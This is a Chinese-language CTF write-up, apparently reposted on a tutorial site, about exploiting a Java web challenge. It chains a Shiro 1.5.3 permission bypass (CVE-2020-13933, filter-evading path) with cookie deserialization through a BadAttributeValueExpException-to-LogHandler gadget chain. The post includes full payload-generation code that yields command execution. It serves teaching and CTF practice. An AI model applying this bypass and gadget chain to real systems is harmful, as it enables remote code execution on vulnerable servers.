溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

什么是Java反序列化漏洞

發(fā)布時間:2021-07-05 17:26:34 來源:億速云 閱讀:207 作者:chen 欄目:網(wǎng)絡(luò)管理

這篇文章主要介紹“什么是Java反序列化漏洞”,在日常操作中,相信很多人在什么是Java反序列化漏洞問題上存在疑惑,小編查閱了各式資料,整理出簡單好用的操作方法,希望對大家解答”什么是Java反序列化漏洞”的疑惑有所幫助!接下來,請跟著小編一起來學(xué)習(xí)吧!

0x00 前言

近年來,工作中Java Web的項目越來越常見,并且逐漸取代了前幾年php的輝煌地位。

在眾多Java Web漏洞中,反序列化漏洞獨樹一幟,大量框架或者中間件都存在反序列化漏洞,它們被大佬們鐘愛,并且翻過來覆過去的反復(fù)蹂躪,,例如:Shiro、Fastjson、JBoss、WebLogicStructs2等等。

本文基于一次內(nèi)部小范圍比賽題目的復(fù)現(xiàn),簡單聊聊Java代碼審計中的反序列化漏洞,以及其他漏洞的組合利用。由于學(xué)習(xí)門檻降低,各大學(xué)習(xí)論壇或網(wǎng)站上存在大量優(yōu)秀的Java反序列化的入門文章,里面對Java的基本概念以及反序列化的基礎(chǔ)有著詳細的描述和講解。本文不再贅述Java反序列化中的簡單概念,僅從題目本身入手。

0x01 正文

題目本身是Web題目,并且提供了源碼。

打開頁面,登錄窗口。

什么是Java反序列化漏洞

頁面僅有一個登錄窗口,嘗試一波弱口令,無結(jié)果。

然后去看代碼,jar包導(dǎo)入JD-GUI,隨便點點。

大致文件結(jié)構(gòu)如下:

什么是Java反序列化漏洞

其中ShiroConfig.class內(nèi)容如下:

什么是Java反序列化漏洞

簡單審計發(fā)現(xiàn),index內(nèi)容需要認證,也就是需要登錄。

查看index對應(yīng)的IndexController.class,發(fā)現(xiàn)存在反序列化點。

什么是Java反序列化漏洞

具體代碼如下:

if (cookies != null) {
      for (Cookie c : cookies) {
        if (c.getName().equals("userinfo")) {
          exist = true;
          cookie = c;
          break;
        } 
      } 
    }
    if (exist) {
      byte[] bytes = Tools.base64Decode(cookie.getValue());
      user = (User)Tools.deserialize(bytes);
    } else {
      user = new User();
      user.setId(1);
      user.setName(name);
      cookie = new Cookie("userinfo", Tools.base64Encode(Tools.serialize(user)));
      response.addCookie(cookie);
    }

當訪問index時,并且存在cookiekeyuserinfo時,會對其value進行deserialize。

過程如下:

cookie[userinfo]  -->  base64decode  --> deserialize

暫時思路是,登錄之后,通過cookie進行反序列化。

但是由MyRealm.class可知,密碼是隨機的。

什么是Java反序列化漏洞

具體代碼如下:

return new SimpleAuthenticationInfo(username, UUID.randomUUID().toString().replaceAll("-", ""), getName());

再由lib中的BOOT-INF.lib.shiro-spring-1.5.3.jar可知,shiro版本為 1.5.3 ,存在CVE-2020-13933權(quán)限繞過漏洞。

根據(jù) https://xz.aliyun.com/t/8230 可知,常用payload/index/%3bxxx。

但存在過濾器AllFilter.class。

什么是Java反序列化漏洞

public class AllFilter implements IAllFilter {
  public String filter(String param) {
    String[] keyWord = { "'", "\"", "select", "union", "/;", "/%3b" };
    for (String i : keyWord) {
      param = param.replaceAll(i, "");
    }
    return param;
  }
}

AllFilter會對payload的字符進行過濾,經(jīng)過嘗試,最終有效payload/index/%3b/xxx。

繞過權(quán)限之后,發(fā)現(xiàn)后臺為日志記錄。

什么是Java反序列化漏洞

涉及到LogHandler.class,在之后的后續(xù)反序列化會用到。

繞過權(quán)限之后,想辦法反序列化。

要序列化的條件是,必須繼承Java.io.Serializable接口。

在代碼中尋找可被利用的class。

發(fā)現(xiàn)LogHandler.class。

什么是Java反序列化漏洞

其中存在命令執(zhí)行點

public class LogHandler extends HashSet implements InvocationHandler {
  private static final long serialVersionUID = 1L;
  private String readLog = "tail /tmp/accessLog"; private Object target;
  private String writeLog = "echo /test >> /tmp/accessLog";
  
  public LogHandler() {}
  public LogHandler(Object target) { this.target = target; }
  
  public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
    Tools.exeCmd(this.writeLog.replaceAll("/test", (String)args[0]));
    return method.invoke(this.target, args);
  }
  public String toString() { return Tools.exeCmd(this.readLog); }
}

LogHandler繼承了HashSet

HashSet繼承了Java.io.Serializable接口。

HashSet部分代碼如下:

package Java.util;

import Java.io.InvalidObjectException;
import sun.misc.SharedSecrets;

public class HashSet<E>extends AbstractSet<E>implements Set<E>, Cloneable, Java.io.Serializable{
    static final long serialVersionUID = -5024744406713321676L;
    ......

之后的pop鏈為:

deserialize  -->  LogHandler  -->  toString  -->  exeCmd (readLog)

條件:readLog可控 。

readLog為私有屬性,可通過Java的反射機制訪問屬性值。

方法說明
getDeclaredField(String name)獲得某個屬性對

例如:

import Java.lang.reflect.*;
public class AccessAttribute {
    public static void main(String[] args) throws Exception {
        
        Field aaa= UserClass.getDeclaredField("name");
        aaa.setAccessible(true);//私有屬性,設(shè)置可訪問
        aaa.set(user, "liuxigua");
    }
}

最終目的:尋找某個Java原生類,要求:重寫readObject方法并且可調(diào)用可控類的toString方法。

最后百度查到BadAttributeValueExpException,并且很多Java反序列化的Gadgets均用到了此類

BadAttributeValueExpException部分代碼如下:

public class BadAttributeValueExpException extends Exception   {

    private static final long serialVersionUID = -3105272988410493376L;

    private Object val;

    public BadAttributeValueExpException (Object val) {
        this.val = val == null ? null : val.toString();
    }

    public String toString()  {
        return "BadAttributeValueException: " + val;
    }

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
        } else { 
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }
 }

可通過將val設(shè)置為logHandler類,最終在readObject時調(diào)用其toString方法。

BadAttributeValueExpException (val)  -->  LogHandler(readLog).toString()  -->  serialize   -->  base64encode 

cookie[userinfo]  -->  base64decode  --> deserialize -->  LogHandler  -->  toString  -->  exeCmd (readLog)

最終Gadgets

Javax.management.BadAttributeValueExpException.readObject()
-->tools.logHandler.toString()-->  tools.Tools.exeCmd()

注意:payload的代碼結(jié)構(gòu)與文件位置需要與服務(wù)端代碼結(jié)構(gòu)與文件位置保持一致

package com.test.JavaWeb;
import Javax.management.BadAttributeValueExpException;
import com.test.JavaWeb.tools.Tools;
import com.test.JavaWeb.tools.LogHandler;
import Java.lang.reflect.Field;

public class Exp {
    public static void main(String[] args) throws Exception{
        LogHandler logHandler = new LogHandler();
        Field readLogField = LogHandler.class.getDeclaredField("readLog");
        readLogField.setAccessible(true);
        readLogField.set(logHandler,"touch /tmp/123");

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("");
        Field valField = BadAttributeValueExpException.class.getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(badAttributeValueExpException,logHandler);
        byte[] bytes = Tools.serialize(badAttributeValueExpException);
        System.out.println(Tools.base64Encode(bytes));
    }
}

生成payload之后,在cookieuserinfo值填入,可執(zhí)行命令。

什么是Java反序列化漏洞

到此,關(guān)于“什么是Java反序列化漏洞”的學(xué)習(xí)就結(jié)束了,希望能夠解決大家的疑惑。理論與實踐的搭配能更好的幫助大家學(xué)習(xí),快去試試吧!若想繼續(xù)學(xué)習(xí)更多相關(guān)知識,請繼續(xù)關(guān)注億速云網(wǎng)站,小編會繼續(xù)努力為大家?guī)砀鄬嵱玫奈恼拢?/p>

向AI問一下細節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI